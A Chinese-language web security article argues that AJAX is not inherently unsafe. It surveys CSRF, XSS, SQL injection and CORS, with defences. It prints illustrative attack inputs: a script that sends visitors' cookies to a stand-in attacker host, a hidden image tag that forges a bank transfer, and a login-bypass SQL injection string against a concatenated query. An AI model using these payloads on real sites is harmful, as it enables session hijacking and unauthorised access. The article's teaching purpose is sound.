你的 AJAX 請求真的安全?
開篇三問
-
AJAX 請求真的不安全麼?
-
AJAX 請求哪裏不安全?
-
怎麼樣讓 AJAX 請求更安全?
前言
本文包含的內容較多,包括 AJAX,CORS,XSS,CSRF 等內容,要完整的看完並理解需要付出一定的時間。
另外,見解有限,如有描述不當之處,請幫忙及時指出。
正文開始
從入坑前端開始,一直到現在,AJAX 請求都是以極高的頻率重複出現,也解決過不少 AJAX 中遇到的問題,如跨域調試,錯誤調試等等。
從這種,發現了一個共通現象:那就是每次和後臺人員對接時,他們都會提到 AJAX 請求不安全,請用普通 http 請求!
雖然很多時候,都是經過多翻口舌之爭後,最終後臺那邊妥協,允許部分符合條件的 AJAX 請求。但是,我卻很糾結一個問題:AJAX 請求真的不安全麼?爲什麼我自己寫後臺時並沒有發現這個問題?
於是,開始準備蒐集資料,結合自己已有的認知,整理成一份解決方案,分析 AJAX 請求真的不安全麼?哪裏不安全?,後續遇到類似的問題就直接向對方拋出一篇文章
大綱
AJAX 請求真的不安全麼
- AJAX 不安全的說法從何而來
常見的幾種 Web 前端安全問題
-
CSRF 簡介
-
CSRF 與 AJAX 的關係
-
XSS 簡介
-
XSS 與 AJAX 的關係
-
SQL 注入簡介
-
SQL 注入與 AJAX 的關係
AJAX 和 HTTP 請求的區別
CORS 與 AJAX 安全性之間的關聯
-
CORS 與 AJAX 關係的簡介
-
爲什麼要配置 CORS?
-
CORS 會配置些什麼信息?
-
CORS Origin: * 的安全性
再看,AJAX 請求真的不安全麼?
AJAX 請求哪裏不安全?
怎麼樣讓 AJAX 請求更安全?
AJAX 請求真的不安全麼
首先,先說一個定論:AJAX 請求是否安全,由服務端(後臺)決定
有這樣一個說法:
如果某個 Web 應用具備良好的安全性,那麼再怎麼用 “不安全的 AJAX” 也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的
爲何會有這種說法?因爲在 Web 應用中,客戶端輸入不可信是一個基本原則
AJAX 不安全的說法從何而來?
在 AJAX 出現時,那時的服務端還是很古老的那一批,因此完全沒有考慮到 AJAX 出現後,前端請求方式會變得異常複雜,造成以前的安全策略已經無法滿足要求了,導致大批的後臺安全漏洞曝光。。。
很顯然,都是因爲 AJAX 出現後曝光了更多的安全漏洞,導致它看起來很危險(因爲 AJAX 出現後,請求方式變多了,以前的架構在新的請求中就可能出現更多漏洞)
So,AJAX 不安全的說法自然擴散到了各個角落。
常見的幾種 Web 前端安全問題
要知道 AJAX 請求是否安全,那麼就得先知道 Web 前端中到底有那幾種安全問題
11.XSS(跨站腳本攻擊)(cross-site scripting)
2
3 -> 僞造會話(基於XSS實現CSRF)
4
5 -> 劫持cookie
6
7 -> 惡意代碼執行
8
92.CSRF(跨站請求僞造)(cross-site request forgery)
10
11 -> 僞造用戶身份操作
12
133. SQL注入
14
15...(其它暫且不提)
16
如上,Web 前端中的安全問題主要就是這幾大類(僅列舉部分做分析),所以我們首先要分析 AJAX 與這幾大類之間的關係。(XSS 和 CSRF,在下文也會做簡單介紹。)
CSRF 簡介
CSRF,特徵很簡單:冒用用戶身份,進行惡意操作
時至今日,這項安全漏洞已經被人們剖析的很透徹了,隨便 Google,百度之,都會找到很多的解釋。這裏也用一張圖來先做簡單描述:
注,下面介紹參考了來源文章中的描述,譬如圖就是參考了來源中的博文後重繪的
所以,我們看到關鍵條件是:
-
採用 cookie 來進行用戶校驗
-
登錄受信任網站 A,並在本地生成 Cookie
-
在不登出 A 的情況下,訪問危險網站 B
一般在 (4) 處惡意網站 (B) 的攻擊手段如下(必須是指向 A 的地址,否則無法帶上 cookie):
而且,從頭到尾,攻擊網站都沒有獲取到過 cookie,都是通過瀏覽器間接實現(利用 Web 的 cookie 隱式身份驗證機制),所以 HttpOnly 並不會影響這個攻擊
最後說下,幾種常見的 CSRF 防禦手段:
1. 驗證 HTTP Referer 字段(非常簡單,但是鑑於客戶端並不可信任,所以並不是很安全)
防止 CSRF,檢查 Referer 字段簡單直接,但是其完全依賴瀏覽器發送正確的 Referer 字段。
雖然 http 協議對此字段的內容有明確的規定,但並無法保證來訪的瀏覽器的具體實現,
亦無法保證瀏覽器沒有安全漏洞影響到此字段。並且也存在攻擊者攻擊某些瀏覽器,篡改其 Referer 字段的可能。
- 在請求地址中添加 token 並驗證
譬如 post 中,以參數的形式加入一個隨機產生的 token
CSRF 與 AJAX 的關係
上文中,我們看到 CSRF 的前提是 cookie 驗證用戶身份,那麼它與 AJAX 的關係大麼?
我們先分析 AJAX 中帶 cookie 驗證的情況:
-
AJAX 受到瀏覽器的同源策略限制
-
AJAX 默認無法請求跨域的接口
當然後臺可以配置Access-Control-Allow-Origin: *
之類的允許所有的跨域請求 -
AJAX 請求無法攜帶跨域 cookie
如果強行開啓 withCredentials,必須服務端配合認證,無法用作攻擊
嗯哼… 看到這,基本就可以認爲 CSRF 與 AJAX 請求無緣了……..
譬如假設上圖中第 4 部分的請求由 AJAX 發起,假設網站 A 已經允許了Access-Control-Allow-Origin: *
,由於網站 B 與網站 A 是不同域名,所以存在跨域,根據同源策略,請求時根本就無法攜帶 cookie,故而無法通過身份認證,攻擊失敗…..
就算強行開啓 withCredentials,攜帶跨域 cookie,但是由於服務端並不會單獨配置網站 B 的跨域 cookie(需配置Access-Control-Allow-Credentials: true
,而且這時候不允許設置Allow-Origin: *
),所以肯定認證失敗。
可以看到,就算Access-Control-Allow-Origin: *
允許所有來源的 AJAX 請求,跨域的 cookie 默認情況下仍然是無法攜帶的,無法 CSRF
所以說,結論是:CSRF 與 AJAX 無關
XSS 簡介
既然 CSRF 與 AJAX 關係不大,那麼 XSS 應該會與 AJAX 有很大關係吧?(要不然爲什麼一直說 AJAX 請求不安全,對吧)。那麼請繼續看下去(本文中只限 JS 範疇)
XSS(cross-site scripting),看起來簡寫應該是 css 更合適。但是爲了和層疊式樣式表區分,就用 XSS 簡寫表示
XSS 的特徵也可以概括爲:跨域腳本注入,攻擊者通過某種方式將惡意代碼注入到網頁上,然後其他用戶觀看到被注入的頁面內容後會受到特定攻擊。
相比 CSRF,XSS 囊括的內容更多,而且往往是多種攻擊形式組合而成,這裏以前文中介紹的幾種爲例:
1.cookie 劫持
同樣,頁面中有一個評論輸入,輸入後會,因爲後臺的漏洞,沒有過濾特殊字符,會直接明文保存到數據庫中,然後展示到網頁時直接展示明文數據,那麼如下
然後攻擊者分析後,輸入
1<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>
保存文章。很簡單的代碼,由於沒有過濾腳本,那麼其它用戶登陸後,在看到這篇文章時就會自動將他們的 cookie 信息都發送到了攻擊者的服務器。
攻擊者可以在 cookie(譬如 jsessionid 對應的 session)有效期內拿它們冒充用戶操作。
需要注意,這裏和 CSRF 的區別是,這裏是拿到了 cookie 後主動冒充用戶的,而 CSRF 中根本就不知 cookie,僅利用瀏覽器的隱式校驗方式冒充用戶。
2. 會話僞造
同樣是評論漏洞的示例。
攻擊者輸入(舉例比喻)
1<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
然後,接下來發生的故事就和 CSRF 中提到的一致。這種情況就是基於 XSS 而開展的 CSRF,也有人喜歡稱之爲 XSRF
需要注意,這裏並沒有自己拿到 cookie,而是 CSRF 中提到的利用瀏覽器的隱式驗證機制來冒充用戶。
3. 其它惡意代碼執行
其實上面的 cookie 劫持以及會話僞造都算是惡意代碼執行,爲了區別,這裏就專指前端的流氓 JS。
譬如前面的評論中的輸入可以是:
-
譬如市面上盛行的網頁遊戲彈窗等。
-
譬如干脆直接讓這個頁面卡死都可以。
-
譬如無限循環。
這裏再提一點,上述都是從前端輸入作爲入口的,但實際上有一類的輸入也不可忽視,那就是:富文本攻擊
它的特點就是:富文本中注入了腳本,並且前後端未進行過濾,導致直接輸出到了頁面中
因爲存在很多頁面,都是將富文本內容展示到網頁上的,沒有進行過濾(哪怕時至今日,仍然有不少頁面),這樣只要富文本中有注入腳本,基本就中招了…..
結論:
只要最終能向頁面輸出可執行的腳本語句,那麼就是有漏洞,XSS 攻擊都有可能發生。
而且,基本上 xss 漏洞是很廣泛的,雖然攻擊類型很被動,也需要大量時間分析,但勝在大量的網站上都存在(特別是那種長期不更新的)
再提一點。上述的介紹更多的是從造成的後果來看,但其實如果從攻擊手動來看的話可以分爲幾大類型:
-
反射型 XSS 攻擊(直接通過 URL 注入,而且很多瀏覽器都自帶防禦)
-
存儲型 XSS 攻擊(存儲到 DB 後讀取時注入)
-
還有一個 DOM-Based 型。
上述示例中都是存儲型,具體更多內容網上已經有很詳細的資料,這裏不再繼續深入,放一張圖鞏固下。
如何預防 XSS:
1、輸入過濾,不信任用戶的任何輸入,過濾其中的<
、>
、/
等可能導致腳本注入的特殊字符,或者過濾script
、javascript
等腳本關鍵字,或者對輸入數據的長度進行限制等等,還得考慮攻擊者使用十六進制編碼來輸入腳本的方式。
2、輸出進行編碼,和輸入過濾類似,不過是從輸出上着手,數據輸出到頁面時,經過 HtmlEncoder 等工具編碼,這樣就不會存在直接輸出可執行的腳本了
3、cookie 設置http-only
,這樣用腳本就無法獲取 cookie 了(這樣只有瀏覽器向 Web 服務器發起請求的時纔會帶上 cookie 字段,避免了 XSS 攻擊利用 JavaScript 的document.cookie
獲取 cookie)
4、Cookie 防盜,儘可能地避免在 Cookie 中泄露隱私,如用戶名、密碼等;或者,爲了防止重放攻擊,可以將 Cookie 和 IP 進行綁定,這樣也可以阻止攻擊者冒充正常用戶的身份。
注意,特別是後臺,一定不能信任前端的輸入,需要過濾與校驗
XSS 與 AJAX 的關係
以上分析了 XSS 造成一些影響與問題,仍然發現:與 AJAX 關係不大,因爲這些問題不管用不用 AJAX 都會發生。
看看這種情況,譬如上述的富文本注入中:
-
某個接口採用 AJAX 交互
-
AJAX 請求完後將對應富文本字段顯示到了頁面上 - 譬如 innerHTML
但是,這真的與 AJAX 無關,這是前後端沒有進行輸入輸出過濾而造成的後果。
所以,還是那句話:如果某個 Web 應用具備良好的安全性,那麼再怎麼用 “不安全的 AJAX” 也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的
SQL 注入簡介
sql 注入展開將也是一門很大的學問,很早以前更是大行其道(當然,現在…),這裏僅僅舉幾個最極端的示例。
前提是後臺沒有過濾前端的輸入數據,否則根本無法生效
假設頁面 A 中有一個登陸查詢存在拙劣的 sql 注入漏洞,這樣子的:(最極端,最傻的情況)
在接收到登陸請求後,服務端的實際執行代碼時是:
1String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";
然而有攻擊者分析出後臺可能存在漏洞,嘗試 sql 注入攻擊,輸入
那麼這樣,後臺接收到數據後,實際上查詢的結果是
1SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything'
故而,攻擊者成功的繞過的用戶名,利用後臺漏洞登陸了。
當然了,像這類這麼低級的漏洞,現象幾乎已經不存在了,往往這類型漏洞需要仔細分析,耗時。(又或者是有內奸…..)
SQL 注入與 AJAX 的關係
額,從上述的示例中看不出和 AJAX 有什麼關係。但是我們可以這樣假設:
-
有一個接口,接收
AJAX post
的數據 -
數據中有一個字段
name
,後臺接收到後沒有進行過濾,直接如上面的演示一樣,執行 sql 語句了 -
所以 AJAX 中如果給那個字段傳入非法的注入信息,就會觸發這個漏洞,導致攻擊生效
對,就是這樣極端的情況下才會發生,而且與 AJAX 並沒有關係,因爲換成任何一種其它請求都會有類似的情況….
所以說,結論是:SQL 注入與 AJAX 無關
AJAX 和 HTTP 請求的區別
從本質上將:AJAX 就是瀏覽器發出的 HTTP 請求,只不過是瀏覽器加上了一個同源策略限制而已。AJAX 請求的XMLHTTPRequest
對象就是瀏覽器開放給 JS 調用 HTTP 請求用的。
那麼 AJAX 和 HTTP 的區別呢?列出以下幾點:
-
AJAX 請求受到瀏覽器的同源策略限制,存在跨域問題
-
AJAX 在進行復雜請求時,瀏覽器會預先發出 OPTIONS 預檢(HTTP 自己是不會預檢的)
-
從使用角度上說,AJAX 使用簡單一點,少了些底層細節,多了些瀏覽器特性(如自動帶上同域 cookie 等)
-
所以說,和認證上的 HTTP 請求的區別就是 - 多了一次瀏覽器的封裝而已(瀏覽器會有自己的預處理,加上特定限制)
但是,從最終發出的報文來看,內容都是一樣的(HTTP 協議規範的內容),AJAX 是發送 HTTP 請求的一種方式
所以從這一點可以得出一個結論:AJAX 本質上安全性和 HTTP 請求一樣
CORS 與 AJAX 安全性之間的關聯
按照前文中提到的內容,基本無法得出 AJAX 與請求不安全的關聯。那麼接下來,再繼續分析,如果使用了跨域資源共享(CORS)後的安全性。(因爲往往 ajax 都會伴隨着 CORS)
CORS 與 AJAX 關係的簡介
這是一個跨域共享方案,大致流程就是:(僅以複雜請求的預檢舉例 - 這一部分要求提前掌握 CORS 相關知識)
-
前端 AJAX 請求前發出一個 OPTIONS 預檢,會帶一堆相關頭部發送給服務端
-
服務端在接受到預檢時,檢查頭部,來源等信息是否合法,合法則接下來允許正常的請求,
否則直接無情的拒絕掉 -
瀏覽器端如果收到服務端拒絕的信息(響應頭部檢查),就拋出對應錯誤。
否則就是正常的響應,接下來發出真正的請求(如 POST)
請求和響應的頭部信息大概如下:
Request Headers
Response Headers
最終,客戶端發出的請求,必須符合服務端的校驗規則才能正確,服務端纔會返回正確頭部,否則只會請求失敗。報跨域錯誤。
以上僅是簡介,更多信息可以參考來源中的 ajax 跨域,這應該是最全的解決方案了
爲什麼要配置 CORS?
因爲同源策略限制,AJAX 無法請求跨域資源,CORS 可以解決 AJAX 跨域請求問題。
因此:在本文中,配置 CORS 只是爲了 AJAX 能跨域請求
CORS 會配置些什麼信息?
如上,加上這個配置後,必須符合要求的纔算是正常的請求,否則就會拒絕掉,一般 AJAX 跨域的話都會有 OPTIONS,所以在預檢中就做了這一步。
可以看到,關鍵的可變信息是:Access-Control-Allow-Origin: http://xxx
這個配置就是域名白名單,規定在什麼樣的域名下才能進行 AJAX 跨域請求。
CORS Origin: * 的安全性
關鍵問題來了,在上面的 CORS 配置是這樣的:
1Access-Control-Allow-Origin: http://xxx
但是這個配置只允許特定域名訪問,鑑於前端的複雜性,有時候調試起來不是很方便,因此有時候,會偷懶的設置爲:
1Access-Control-Allow-Origin: *
這個代表所有來源的跨域 AJAX 請求都能正常響應。
接下來我們再來分析設置Origin: *
可能帶來哪些問題。(都是基於 AJAX 的情況)
問題 1:會對 cookie 認證造成影響麼?
不會。雖然 * 代表了所有來源都能正常請求,但是同源策略下,是無法帶上跨域 cookie 的。因此根本無法用身份驗證。
而且,就算用 withCredentials 強行帶上跨域 cookie,因爲後臺沒有支持,所以會報錯。(這可以看成是 CORSs 模型的最後一道防線)
再者,後臺就算配置 Access-Control-Allow-Credentials 允許跨域 cookie,但是這時候的安全策略是 Origin 不允許爲,必須是一個明確的地址。(否則你就可以看到瀏覽器的報錯信息 - 跨域 cookie 時,Origin 不允許爲)
問題 2:如果僞造 Origin 頭部呢?
首先,標準的瀏覽器中是不允許你僞造的(除非有嚴重漏洞),所以一般需要通過模擬客戶端請求僞造。
但是。在非瀏覽器情況下,本來就沒有同源策略。這又是何必…..
所以說,僞造 Origin 與 CORS 並沒有關係。
問題 3:如果後臺本來就存在漏洞呢?
做這樣一個假設,假設用戶所在網絡的內網中有一臺內網服務器,並且配置了允許所有的跨域請求:(當然,外網是請求不到內網的)
再假設內網服務器上恰巧存在敏感資源,並且沒有額外設防,只要內網就能訪問。譬如:
1192.168.111.23/users.md
然後用戶訪問了惡意網頁,而像 HTML 之類的網頁都是下載到本地執行的,正好網頁內有惡意代碼,去向192.168.111.23/users.md
請求資源,再將接收到的服務端返回發送到攻擊者服務器。(因爲加了 Origin 爲 *,而且 AJAX 是由本地瀏覽器發出的,所以用戶下載到本地的惡意網站是可以訪問到用戶內網中的後臺的)
然後這些敏感數據就這樣被盜取了。
But,這是因爲服務端漏洞而存在的問題,設置 Origin 爲的後臺上爲何要放置敏感資源?正常設置爲 Origin 爲的最大作用是用作公共 API。
而且更重要的是,爲何敏感資源就這樣輕易的被獲取了?爲什麼沒有二次驗證?
SO,後臺本身有漏洞,所以才導致被攻擊,AJAX 恰好是攻擊的手段之一(除了 AJAX 外還會有其它的方式),所以很多鍋都甩到了 AJAX 頭上。
這樣,可以得出一個保守點的結論:
Origin 如果不是_,AJAX 請求並不會有安全問題,如果是_,可能會由於後臺的漏洞,不經意間,AJAX 就被作爲一種攻擊手段了,導致了出現 AJAX 不安全的說法
再看,AJAX 請求真的不安全麼?
仍然是最初的結論:
如果某個 Web 應用具備良好的安全性,那麼再怎麼用
不安全的AJAX
也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的
我們可以看到,XSS 也好,CSRF 也好,以及其它隱藏的可能漏洞也好,本質上都是後臺已有漏洞造成的問題,AJAX 最多是被用作一種攻擊手段(甚至某些裏面 AJAX 還無法使用)
提到 AJAX 請求不安全的,譬如有 CORS 裏面配置Origin: *
造成某些極端情況下能通過 AJAX 發出攻擊。但事實上這也是其中的一種攻擊手段而已,沒有 AJAX,該不安全的仍然不安全。
譬如還有的說法是:因爲在 AJAX 出現以前,如果出現安全漏洞,容易被察覺,但 AJAX 是異步的,更容易隱式的出現安全問題….. 這也與安全性的本質無關。
最重要一點,從 Web 應用安全角度來談,Web 應用必須從不信任客戶端。所以不要再把鍋甩給 AJAX。
AJAX 請求哪裏不安全?
同上,AJAX 本身並不存在這種安全問題。不過有一點需注意,如果使用了 CORS 方案。
-
Allow-Origin 可以設置特定的值,過濾特定的白名單
-
對於一些公共的 API,可以直接將 Allow-Origin 設置爲
*
-
當然,如果確認後臺沒有這些隱藏漏洞,可以直接使用
*
,畢竟也只是針對瀏覽器的同源策略而已,影響沒有那麼大。
怎麼樣讓 AJAX 請求更安全?
仍然是文中反覆提到的結論:
讓 Web 後臺更安全,則 AJAX 請求也更安全,反之後臺有漏洞,不管怎麼樣都是不安全的
寫在最後的話
這樣的話,應該可以把 AJAX 不安全的鍋甩掉了吧?
來源:cnblogs.com/dailc/p/8191150.html
本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源:https://mp.weixin.qq.com/s/kfWgtUH6Ccb5-RGYMGZIzg